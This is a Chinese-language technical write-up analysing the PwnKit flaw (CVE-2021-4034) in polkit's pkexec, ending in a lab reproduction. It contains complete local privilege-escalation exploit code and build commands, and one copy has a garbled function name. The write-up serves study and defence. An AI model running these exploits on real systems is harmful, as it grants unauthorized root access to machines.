cve-2021-4034浅析
前置知识
pkexec
Polkit(以前称为 PolicyKit)是一个用于在类 Unix 操作系统中控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式。也可以使用 polkit 执行具有提升权限的命令,使用命令pkexec后跟要执行的命令(具有 root 权限)。
我们使用pkexec工具时,本地攻击者可以利用内存越界访问将权限提升至root权限
polkit源码 :https://www.freedesktop.org/software/polkit/releases/
main 函数参数解析
我们平时编写c语言程序的时候,我们的main()函数中通常会有这样两个参数 int argc, char *argv[]
argc
是一个整数,表示的是传递给程序的参数个数
argv[]
是一个数组,表示的是传递给程序的参数内容,从 argv[0]
一直到 argv[argc-1]
,argv[0]
通常是程序本身的程序名,argv[argc]
是一个NULL的指针,用来确保 argv[]
数组到达末尾时终止
除了 argc
和 argv[]
这两个参数以外,程序还允许有一个 envp[]
参数,该参数可以为程序提供环境变量的访问
在内存中,argv[]
和 envp[]
这两个数组是相邻的,像下图一样排列
我们来看一个程序
//test1.c
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[], char** envp)
{
printf("argc:%d\n", argc);
printf("argv[0]:%s\nargv[1]:%s\nargv[2]:%s\nargv[3]:%s\nargv[4]:%s\n", argv[0], argv[1], argv[2], argv[3], argv[4]);
}
我们运行该程序,可以看到 argv[0]
是当前程序的程序名字, argv[1]
是NULL,用来确保 argv[]
数组到达末尾时终止,我们看 argv[2]
的输出,是一个环境变量SHELL=/bin/bash
,这本应该是 envp[0]
里面的内容,但这里却被我们用 argv[2]
越界读取到了,后面的 argv[3]
/ argv[4]
则相应读取到了 envp[1]
/ envp[2]
里面的内容
两个程序
1.c
有了上面main函数参数在内存中排列的基础之后,我们来看两个小程序
// 1.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
printf("argc : %d\n", argc);
printf("argv[0] : %s\nargv[1] : %s\nargv[2] : %s\n", argv[0], argv[1], argv[2]);
}
运行之后,可以看到像上面的那个test1程序一样,这里也通过越界读取,把 envp[0]
中的环境变量读取出来了
2.c
我们再写一个2.c文件
// 2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]){
char* argv_test[] = {"./1", NULL};
char* envp_test[] = {"aaaa", NULL};
execve("./1", argv_test, envp_test);
}
我们来看一下 execve()
函数的函数原型,它是包含在 <unistd.h>
头文件中的
int execve(const char *filename, char *const argv[], char *const envp[]);
该函数可以运行一个文件,并传入相应的 argv[]
和 envp[]
值
这里的 argv_test[] = {"./1", NULL};
和 envp_test[] = {"aaaa", NULL};
作为了execve()函数的第二个和第三个参数,
执行 execve("./1", argv_test, envp_test);
就相当于运行程序 1 ,然后将 argv[]
赋值为 {"./1", NULL}
,即 argv[0] = "./1"
,argv[1] = NULL
,然后将 envp[] 赋值为 {"aaaa", NULL} ,即 envp[0] = "aaaa"
, envp[1] = NULL
运行之后,我们看到 argv[0]
/ argv[1]
和程序 1 输出的一样 argv[2]
输出了 aaaa
,argv[3]
就输出了原本 encp[0]
的内容 "aaaa"
小修改
现在我们将 2.c 程序小小修改一下,命名为3.c
// 3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]){
char* argv_test[] = {NULL};
char* envp_test[] = {"aaaa", NULL};
execve("./1", argv_test, envp_test);
}
这时候我们执行 execve("./1", argv_test, envp_test);
就相当于在运行程序 1 时,将 argv[]
赋值为 {NULL}
,将 envp[]
赋值为 {"aaaa", NULL};
,那么在程序 1 执行 printf("argc : %d\n", argc);
的时候,因为 argv[]
没有值,所以 argc = 0
,在执行 printf("argv[0] : %s\nargv[1] : %s\nargv[2] : %s\n", argv[0], argv[1], argv[2]);
的时候,argv[0]
就是argv[argc]
即 NULL
,argv[1]
就是 envp[0]
即 aaaa
,argv[2]
就是 envp[1]
即 NULL
,最终输出如下
回到源码
我们从 https://www.freedesktop.org/software/polkit/releases/ 下载 polkit-0.120.tar.gz 源码,解压后我们查看 polkit-0.120\src\programs\pkexec.c
文件
可以看到 main 函数一开始就进入一个for循环,如果看了上面那两个小程序之后我们就可以知道,这里如果 argc
的值为 0 ,则不会进入这个 for 循环,这时候 n = 1
, argc = 0
, argv = {NULL}
,我们继续往下看
这里将 argv[n]
的值赋给了 path
,又因为 n = 1
,argv = {NULL}
,那么 argv[1]
就相当于 envp[0]
,所以这里相当于将 envp[0]
这个环境变量的值赋给了 path
,继续往下看
这里进入了一个 if 循环,如果 path
的开头不是 /
,即我们的那个环境变量开头不是 /
,那么就回去寻找程序的绝对地址,然后 s 又赋值给 path
和 argv[n]
,argv[n]
就是 argv[1]
,如果我们在最一开始就给 pkexec
这个程序的 argv[]
赋值为 NULL
,然后将 envp[0]
赋值为一个恶意的环境变量,这样就可以将一个恶意的环境变量写到程序运行时的进程空间里面了
漏洞利用
这里我们引入一个环境变量 GCONV_PATH
,该变量可以引入外部的 .so 文件并且执行里面的函数,但是这里我们不能直接在 envp[]
中指定这个环境变量,因为linux 的动态连接器 ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量,我们来看一下 glibc-2.23 中的 elf/dl-support.c
中的 _dl_non_dynamic_init
函数,该函数将一些环境变量都清楚了,里面就包含了 GCONV_PATH
这些都是为了防止低权限的用户通过环境变量利用 suid 程序提权,这时候我们该如何用漏洞呢,我们在阅读 pkexec.c
源码的时候可以看到程序还多次引用了 g_printerr
函数,在调用该函数的时候,会检查环境变量 CHARSET
,如果该变量的值不为 UTF-8
,g_printerr()
就会调用 glibc 中的 iconv_open()
,来转换格式, iconv_open()
函数会先查找 gconv-modules 文件,该文件里面存放了字符集的路径,这些路径指向的是 .so 文件, iconv_open()
函数在找到 .so 文件后会调用 .so 文件中的 gconv()
与 gonv_init()
函数,所以我们只需要触发 g_printerr
函数,然后调用某个 .so 文件中的 gconv()
与 gonv_init()
函数,如果该 .so 文件是我们伪造的,那么可以执行我们设计的函数了
所以我们得要先触发 p_printerr 函数
我们继续看源码,里面有这么一个函数 validate_environment_variable
只要构造一个 XAUTHORITY变量,然后里面有 “..”即可触发g_printerr函数或者构造一个错误的SHELL变量,就会触发g_printerr函数
这样我们的思路就差不多有了,利用execve()函数将pkexec的argv[]设置为空,然后将其环境变量列表envp[]设置为 envp[]={"pwnkit.so:.", "PATH=GCONV_PATH=.", "SHELL=BOY", "CHARSET=PWNKIT", NULL}
,然后我们跟着源码走一遍
先是 for (n = 1; n < (guint) argc; n++)
这个for循环,因为我们的argv[]是空,所以不会进入这个循环,那么此时 n=1
,argc=0
,然后是 path = g_strdup (argv[n]);
将 argv[1]
即 envp[0]
的值给了 path
,所以现在 path=pwnkit.so:.
,然后就是下面获取路径的代码
因为 path=pwnkit.so:.
,第一个字符不是/所以就会执行 s = g_find_program_in_path (path);
去寻找绝对路径,又因为此时的环境变量 PATH=GCONV_PATH=.
所以此时 s
就被赋值为了 PATH=GCONV_PATH=./pwnkit.so:.
,然后就是执行 argv[n] = path = s;
将PATH=GCONV_PATH=./pwnkit.so:.
赋值给 argv[1]
,后面的代码就是一个一个将环境变量提取出来,然后调用 validate_environment_variable
函数检查变量
我们看 validate_environment_variable
函数,如果 SHELL
变量检查不通过,就调用 g_printerr
函数
由于此时环境变量CHARSET的值是 PWNKIT
,因为当 CHARSET
中的值不为 UTF-8
时 g_printerr
函数就会调用 iconv_open
函数去转换编码, iconv_open
函数就有根据环境变量 GCONV_PATH
来查找路径,此时 GCONV_PATH=./pwnkit.so:.
,就会去寻找 gconv-modules
文件,去寻找该文件里面的 .so 文件,这里我们伪造一个 gconv-modules
文件和 pwnkit.c
文件,再将 pwnkit.c
文件编译成 .so 文件,然后我们创建 GCONV_PATH\=.
文件夹,将 pwnkit.so
文件复制到 GCONV_PATH\=.
文件夹下并命名为 pwnkit.so:.
,这时恶意的 .so 文件的路径就是 GCONV_PATH\=./pwnkit.so:.
了,就会调用 .so 文件内的恶意代码了
复现
这里我们以 0x105 版本的 pkexec 为例子
我们首先创建一个测试文件夹,并将该 pkexec 文件复制到该文件夹下,为了模拟真实情况,我们把该文件的用户和组都改为root(sudo chown root:root pkexec
),然后让其他用户执行文件时,具有与所有者相当的权限(sudo chmod 4755 pkexec
)
现在我们创建我们的exp.c文件和pwnkit.c文件
//exp.c
#include <unistd.h>
int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=BOY",
"CHARSET=PWNKIT",
NULL
};
return execve("./pkexec", args, environ);
}
//pwnkit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_initgconv_init(void *step)
{
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
} //执行gconv_init函数就可以产生一个shell
然后我们编译这两个程序
gcc exp.c -o exp
gcc pwnkit.c -o pwnkit.so --shared -fPIE
我们还需要一个 gconv-modules 去存放 .so 文件的路径信息
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
然后我们创建 GCONV_PATH=.
文件夹,并将当前目录下的 pwnkit.so
文件复制到 GCONV_PATH=.
改名为 pwnkit.so:.
,
这是我们运行 exp 就可以提权到 root 用户了
这里我把网上的exp稍微改了一下,该exp最下面一行的 execve("../pkexec", (char*[]){NULL}, env);
的 ../pkexec
根据情况,因为我的这个有漏洞的 pkexec
在上一个目录下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir GCONV_PATH=.");
system("touch pwnkit.c");
fp = fopen("pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit.c -o pwnkit.so --shared -fPIC");
system("echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules");
system("cp pwnkit.so GCONV_PATH=./pwnkit.so:.");
char *env[] = { "pwnkit.so:.", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=BOY", NULL };
execve("../pkexec", (char*[]){NULL}, env);
}
这里的clean程序就是清除,这些生成的文件,方便下一次复现
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
system("rm gconv-modules");
system("rm -r GCONV_PATH=.");
system("rm pwnkit*");
printf("clean!!!\n");
}
参考文章
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://mp.weixin.qq.com/s/HJP-tnCwnVx_gX24u7xzVg
https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/
https://xz.aliyun.com/t/10870#%20toc-3